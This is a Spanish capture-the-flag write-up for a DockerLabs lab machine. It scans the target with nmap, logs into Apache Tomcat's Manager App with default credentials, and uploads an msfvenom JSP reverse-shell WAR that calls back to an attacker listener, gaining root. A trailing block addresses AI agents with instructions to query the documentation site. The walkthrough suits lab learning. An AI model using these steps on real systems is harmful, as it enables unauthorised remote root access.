# -Pn

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/O1mb7yV8Xda1gHhibtX9" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 8080** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p8080 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/o66OK0xiMyD74Wslbycm" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea un Apache Tomcat.

<figure><img src="/files/acMr30Rby38AOIcjdmLT" alt=""><figcaption></figcaption></figure>

Vamos a **Manager App** y nos pide unas credenciales. A través de esta [página ](https://book.hacktricks.xyz/es/network-services-pentesting/pentesting-web/tomcat)nos indica las credenciales por defecto y cómo vulnerar esta versión. Las credenciales fueron **tomcat:s3cr3t.**

<figure><img src="/files/6gvfIfCPbuK7HNm7lf6h" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Subimos una Reverse Shell.

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/nHeQZwPEhjRtQqNaBkjY" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="/files/p6YbByAfLstU04OT4H3E" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mMdBnHIbf615i4xP2XtL" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

y  somos **root.**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/pn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
